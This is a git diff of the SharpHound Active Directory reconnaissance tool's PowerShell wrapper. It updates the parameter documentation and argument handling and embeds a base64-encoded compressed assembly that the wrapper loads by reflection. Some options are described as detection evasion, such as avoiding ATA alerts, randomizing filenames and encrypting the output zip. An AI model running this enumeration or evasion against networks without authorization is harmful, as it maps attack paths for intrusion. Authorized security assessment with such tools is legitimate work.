diff --git a/Ingestors/DebugBuilds/SharpHound.exe b/Ingestors/DebugBuilds/SharpHound.exe
index a2adcd8..27aa3c9 100644
Binary files a/Ingestors/DebugBuilds/SharpHound.exe and b/Ingestors/DebugBuilds/SharpHound.exe differ
diff --git a/Ingestors/DebugBuilds/SharpHound.pdb b/Ingestors/DebugBuilds/SharpHound.pdb
index 054cda7..f30c9f4 100644
Binary files a/Ingestors/DebugBuilds/SharpHound.pdb and b/Ingestors/DebugBuilds/SharpHound.pdb differ
diff --git a/Ingestors/SharpHound.exe b/Ingestors/SharpHound.exe
index d1efe5c..6ac6f82 100644
Binary files a/Ingestors/SharpHound.exe and b/Ingestors/SharpHound.exe differ
diff --git a/Ingestors/SharpHound.ps1 b/Ingestors/SharpHound.ps1
index de6186e..bea8103 100644
--- a/Ingestors/SharpHound.ps1
+++ b/Ingestors/SharpHound.ps1
@@ -12,15 +12,13 @@ function Invoke-BloodHound{
         for the SharpHound executable and passed in via reflection. The appropriate function
         calls are made in order to ensure that assembly dependencies are loaded properly.
 
-    .PARAMETER Verbose
-
-        Enable verbose output mode. Will print a lot!
-
     .PARAMETER CollectionMethod
 
         Specifies the CollectionMethod being used. Possible value are:
             Group - Collect group membership information
-            LocalGroup - Collect local admin information for computers
+            LocalAdmin - Collect local admin information for computers
+            RDP - Collect remote desktop users for computers
+            DCOM - Collect distributed COM users for computers
             Session - Collect session information for computers
             SessionLoop - Continuously collect session information until killed
             Trusts - Enumerate domain trust data
@@ -31,7 +29,8 @@ function Invoke-BloodHound{
             LoggedOn - Collects session information using privileged methods (needs admin!)
             ObjectProps - Collects node property information for users and computers
             Default - Collects Group Membership, Local Admin, Sessions, and Domain Trusts
-            All - Collect all data
+            DcOnly - Collects Group Membership, ACLs, ObjectProps, Trusts, Containers, and GPO Admins
+            All - Collect all data except privileged collection
 
         This can be a list of comma seperated valued as well to run multiple collection methods!
 
@@ -49,14 +48,10 @@ function Invoke-BloodHound{
         Use stealth collection options, will sacrifice data quality in favor of much reduced
         network impact
 
-    .PARAMETER DomainController
+    .PARAMETER SkipGCDeconfliction
 
-        Specify which Domain Controller to request data from. Defaults to closest DC using Site Names
-
-    .PARAMETER Ou
-
-        Limit computer enumeration to this OU. Takes a DistinguishedName.
-        Ex. OU=Domain Controllers,DC=testlab,DC=local
+        Skip's Global Catalog deconfliction during session enumeration. This option
+        can result in more inaccuracy in data.
 
     .PARAMETER ComputerFile
 
@@ -67,11 +62,39 @@ function Invoke-BloodHound{
 
         Exclude domain controllers from session queries. Useful for ATA environments which detect this behavior
 
-    .PARAMETER SkipGCDeconfliction
+    .PARAMETER OU
 
-        Skip's Global Catalog deconfliction during session enumeration. This option
-        can result in more inaccuracy in data.
+        Limit enumeration to this OU. Takes a DistinguishedName.
+        Ex. OU=Domain Controllers,DC=testlab,DC=local
 
+    .PARAMETER DomainController
+
+        Specify which Domain Controller to request data from. Defaults to closest DC using Site Names
+
+    .PARAMETER LdapPort
+
+        Override the port used to connect to LDAP
+
+    .PARAMETER SecureLdap
+
+        Uses LDAPs instead of unencrypted LDAP on port 636
+
+    .PARAMETER IgnoreLdapCert
+
+        Ignores the certificate for LDAP
+
+    .PARAMETER LDAPUser
+
+        User to connect to LDAP with
+
+    .PARAMETER LDAPPassword
+
+        Password for user you are connecting to LDAP with
+
+    .PARAMETER DisableKerbSigning
+
+        Disables Kerberos Signing on requests.
+    
     .PARAMETER Threads
 
         Specifies the number of threads to use during enumeration (Default 20)
@@ -86,17 +109,17 @@ function Invoke-BloodHound{
         API calls will be made to all computers regardless of being up
         Use this option if ping is disabled on the network for some reason
 
-    .PARAMETER LoopTime
+    .PARAMETER LoopDelay
 
         Amount of time to wait between session enumeration loops in minutes. This option
         should be used in conjunction with the SessionLoop enumeration method. 
-        (Default 5 minutes)
+        (Default 300 seconds)
 
     .PARAMETER MaxLoopTime
 
         Length of time to run looped session collection. Format: 0d0h0m0s or any variation of this format.
         Use in conjunction with -c SessionLoop
-        Default will loop infinitely
+        Default will loop for two hours
 
     .PARAMETER Throttle
 
@@ -106,25 +129,33 @@ function Invoke-BloodHound{
 
         Percentage jitter to apply to throttle
 
-    .PARAMETER CSVFolder
+    .PARAMETER JSONFolder
 
-        Folder to export CSVs too (Defaults to current directory)
+        Folder to export JSONs too (Defaults to current directory)
 
-    .PARAMETER CSVPrefix
+    .PARAMETER JSONPrefix
 
-        Prefix to add to your CSV Files (Default "")
+        Prefix to add to your JSON Files (Default "")
 
-    .PARAMETER URI
+    .PARAMETER NoZip
 
-        The URI for the Neo4j REST API. Setting this option will turn off CSV output
-        Format for this options is http(s)://SERVER:PORT
-        REST API ingestion is deprecated, and will be removed in a future release
+        Don't compress JSON files and remove them from disk
 
-    .PARAMETER UserPass
+    .PARAMETER EncryptZip
 
-        Credentials for the Neo4j REST API. 
-        Format for this option is username:password
-        REST API ingestion is deprecated, and will be removed in a future release
+        Add a random password to the zip file
+
+    .PARAMETER ZipFileName
+
+        Change the filename for the zip file
+
+    .PARAMETER RandomFilenames
+
+        Randomize output filenames
+
+    .PARAMETER PrettyJson
+
+        Output pretty JSON at the cost of file size
 
     .PARAMETER CacheFile
 
@@ -142,45 +173,37 @@ function Invoke-BloodHound{
 
         Interval to display progress during enumeration in milliseconds (Default 30000)
 
-    .PARAMETER CompressData
-       
-        Compresses any used CSV files into a timestamped zip after running
+    .PARAMETER Verbose
 
-    .PARAMETER SecureLdap
-
-        Uses LDAPs instead of unencrypted LDAP on port 636
-
-    .PARAMETER LdapPort
-
-        Override the port used to connect to LDAP
-
-    .PARAMETER IgnoreLdapCert
-
-        Ignores the certificate for LDAP
-
-    .PARAMETER DisableKerbSigning
-
-        Disables Kerberos Signing on requests.
+        Enable verbose output mode. Will print a lot!
         
     .EXAMPLE
 
         PS C:\> Invoke-BloodHound
 
-        Executes the default collection options and exports CSVs to the current directory
+        Executes the default collection options and exports JSONs to the current directory, compresses the data to a zip file,
+        and then removes the JSON files from disk
 
     .EXAMPLE
         
-        PS C:\> Invoke-BloodHound -CollectionMethod SessionLoop -LoopTime 1 -MaxLoopTime 10
+        PS C:\> Invoke-BloodHound -CollectionMethod SessionLoop -LoopDelay 60 -MaxLoopTime 10
     
         Executes session collection in a loop. Will wait 1 minute after each run to continue collection
         and will continue running for 10 minutes after which the script will exit
 
     .EXAMPLE
 
-        PS C:\> Invoke-BloodHound -CollectionMethod All -CompressData -RemoveCSV
+        PS C:\> Invoke-BloodHound -CollectionMethod All
     
-        Runs ACL, ObjectProps, Container, and Default collection methods sequentially, compressed the data to a zip file,
-        and then removes the CSV files from disk
+        Runs ACL, ObjectProps, Container, and Default collection methods, compresses the data to a zip file,
+        and then removes the JSON files from disk
+
+    .EXAMPLE (Opsec!)
+
+        PS C:\> Invoke-BloodHound -CollectionMethod DCOnly --NoSaveCache --RandomFilenames --EncryptZip
+    
+        Run LDAP only collection methods (Groups, Trusts, ObjectProps, ACL, Containers, GPO Admins) without outputting the cache file to disk. 
+        Randomizes filenames of the JSON files and the zip file and adds a password to the zip file
     #>
 
     param(
@@ -193,26 +216,45 @@ function Invoke-BloodHound{
         [String]
         $Domain,
 
-        [ValidateScript({ Test-Path -Path $_ })]
-        [String]
-        $CSVFolder = $(Get-Location),
-
-        [ValidateNotNullOrEmpty()]
-        [String]
-        $CSVPrefix,
-
-        [ValidateRange(1,50)]
-        [Int]
-        $Threads = 10,
+        [Switch]
+        $Stealth,
 
         [Switch]
         $SkipGCDeconfliction,
 
         [Switch]
-        $Stealth,
+        $ExcludeDC,
 
         [String]
-        $Ou,
+        $ComputerFile,
+
+        [String]
+        $OU,
+
+        [string]
+        $DomainController,
+
+        [int]
+        $LdapPort,
+
+        [Switch]
+        $SecureLdap,
+
+        [Switch]
+        $IgnoreLdapCert,
+
+        [String]
+        $LDAPUser,
+
+        [String]
+        $LDAPPassword,
+
+        [Switch]
+        $DisableKerbSigning,
+
+        [ValidateRange(1,50)]
+        [Int]
+        $Threads = 10,
 
         [ValidateRange(50,1500)]
         [int]
@@ -221,15 +263,44 @@ function Invoke-BloodHound{
         [Switch]
         $SkipPing,
 
+        [ValidateRange(1,50000000)]
+        [int]
+        $LoopDelay,
+
+        [ValidatePattern('[0-9]+[smdh]')]
+        [string]
+        $MaxLoopTime,
+
+        [ValidateRange(0,100)]
+        [int]
+        $Jitter,
+
+        [int]
+        $Throttle,
+
+        [ValidateScript({ Test-Path -Path $_ })]
         [String]
-        $URI,
+        $JSONFolder = $(Get-Location),
+
+        [ValidateNotNullOrEmpty()]
+        [String]
+        $JSONPrefix,
+
+        [Switch]
+        $NoZip,
+
+        [Switch]
+        $EncryptZip,
 
         [String]
-        [ValidatePattern('.*:.*')]
-        $UserPass,
+        $ZipFileName,
 
-        [String]
-        $ComputerFile,
+        [Switch]
+        $RandomFilenames,
+
+        [Switch]
+        $PrettyJson,
+        
 
         [String]
         [ValidateNotNullOrEmpty()]
@@ -246,46 +317,7 @@ function Invoke-BloodHound{
         $StatusInterval,
 
         [Switch]
-        $Verbose,
-
-        [Switch]
-        $ExcludeDC,
-
-        [ValidateRange(1,50000000)]
-        [int]
-        $LoopTime,
-
-        [ValidatePattern('[0-9]+[smdh]')]
-        [string]
-        $LoopEndTime,
-
-        [Switch]
-        $CompressData,
-
-        [Switch]
-        $SecureLdap,
-
-        [Switch]
-        $IgnoreLdapCert,
-
-        [Switch]
-        $DisableKerbSigning,
-
-        [string]
-        $DomainController,
-
-        [Switch]
-        $RemoveCSV,
-
-        [ValidateRange(0,100)]
-        [int]
-        $Jitter,
-
-        [int]
-        $Throttle,
-
-        [int]
-        $LdapPort
+        $Verbose
     )
 
     $vars = New-Object System.Collections.Generic.List[System.Object]
@@ -304,27 +336,63 @@ function Invoke-BloodHound{
         $vars.Add("-s");
     }
 
-    if ($CSVFolder){
-        $vars.Add("--CSVFolder")
-        $vars.Add($CSVFolder)
-    }
-
-    if ($CSVPrefix){
-        $vars.Add("--CSVPrefix")
-        $vars.Add($CSVPrefix)
-    }
-
-    if ($Threads){
-        $vars.Add("-t")
-        $vars.Add($Threads)
+    if ($Stealth){
+        $vars.Add("--Stealth")
     }
 
     if ($SkipGCDeconfliction){
         $vars.Add("--SkipGCDeconfliction")
     }
 
-    if ($Stealth){
-        $vars.Add("--Stealth")
+    if ($ExcludeDC){
+        $vars.Add("--ExcludeDC")
+    }
+
+    if ($ComputerFile){
+        $vars.Add("--ComputerFile");
+        $vars.Add($ComputerFile);
+    }
+
+    if ($OU){
+        $vars.Add("--OU");
+        $vars.Add($OU);
+    }
+
+    if ($DomainController){
+        $vars.Add("--DomainController");
+        $vars.Add($DomainController);
+    }
+
+    if ($LdapPort){
+        $vars.Add("--LdapPort");
+        $vars.Add($LdapPort);
+    }
+
+    if ($SecureLdap){
+        $vars.Add("--SecureLdap");
+    }
+
+    if ($IgnoreLdapCert){
+        $vars.Add("--IgnoreLdapCert");
+    }
+
+    if ($LDAPUser){
+        $vars.Add("--LDAPUser");
+        $vars.Add($LDAPUser);
+    }
+
+    if ($LDAPPassword){
+        $vars.Add("--LDAPPassword");
+        $vars.Add($LDAPPassword);
+    }
+
+    if ($DisableKerbSigning){
+        $vars.Add("--DisableKerbSigning");
+    }
+
+    if ($Threads){
+        $vars.Add("-t")
+        $vars.Add($Threads)
     }
 
     if ($PingTimeout){
@@ -336,14 +404,55 @@ function Invoke-BloodHound{
         $vars.Add("--SkipPing");
     }
 
-    if ($URI){
-        $vars.Add("--URI")
-        $vars.Add($URI)
+    if ($LoopDelay){
+        $vars.Add("--LoopDelay")
+        $vars.Add($LoopDelay)
     }
 
-    if ($UserPass){
-        $vars.Add("--UserPass")
-        $vars.Add($UserPass)
+    if ($MaxLoopTime){
+        $vars.Add("--MaxLoopTime")
+        $vars.Add($MaxLoopTime)
+    }
+
+    if ($Throttle){
+        $vars.Add("--Throttle");
+        $vars.Add($Throttle);
+    }
+
+    if ($Jitter){
+        $vars.Add("--Jitter");
+        $vars.Add($Jitter);
+    }
+
+    if ($JSONFolder){
+        $vars.Add("--JSONFolder");
+        $vars.Add($JSONFolder);
+    }
+
+    if ($JSONPrefix){
+        $vars.Add("--JSONPrefix");
+        $vars.Add($JSONPrefix);
+    }
+
+    if ($NoZip){
+        $vars.Add("--NoZip");
+    }
+
+    if ($EncryptZip){
+        $vars.Add("--EncryptZip");
+    }
+
+    if ($ZipFileName){
+        $vars.Add("--ZipFileName");
+        $vars.Add($ZipFileName);
+    }
+
+    if ($RandomFilenames){
+        $vars.Add("--RandomFilenames");
+    }
+
+    if ($PrettyJson){
+        $vars.Add("--PrettyJson");
     }
 
     if ($CacheFile){
@@ -366,78 +475,14 @@ function Invoke-BloodHound{
     if ($StatusInterval){
         $vars.Add("--StatusInterval")
         $vars.Add($StatusInterval)
-    }
-
-    if ($LoopTime){
-        $vars.Add("--LoopTime")
-        $vars.Add($LoopTime)
-    }
-
-    if ($MaxLoopTime){
-        $vars.Add("--MaxLoopTime")
-        $vars.Add($MaxLoopTime)
-    }
-
-    if ($ExcludeDC){
-        $vars.Add("--ExcludeDC")
-    }
-
-    if ($CompressData){
-        $vars.Add("--CompressData");
-    }
-
-    if ($SecureLdap){
-        $vars.Add("--SecureLdap");
-    }
-
-    if ($IgnoreLdapCert){
-        $vars.Add("--IgnoreLdapCert");
-    }
-
-    if ($Ou){
-        $vars.Add("--Ou");
-        $vars.Add($Ou);
-    }
-
-    if ($ComputerFile){
-        $vars.Add("--ComputerFile");
-        $vars.Add($ComputerFile);
-    }
-
-    if ($DisableKerbSigning){
-        $vars.Add("--DisableKerbSigning");
-    }
-
-    if ($DomainController){
-        $vars.Add("--DomainController");
-        $vars.Add($DomainController);
-    }
-
-    if ($RemoveCSV){
-        $vars.Add("--RemoveCSV");
-    }
-
-    if ($Throttle){
-        $vars.Add("--Throttle");
-        $vars.Add($Throttle);
-    }
-
-    if ($Jitter){
-        $vars.Add("--Jitter");
-        $vars.Add($Jitter);
-    }
-
-    if ($LdapPort){
-        $vars.Add("--LdapPort");
-        $vars.Add($LdapPort);
-    }
+    }   
 
     $passed = [string[]]$vars.ToArray()
 
-    	$EncodedCompressedFile = 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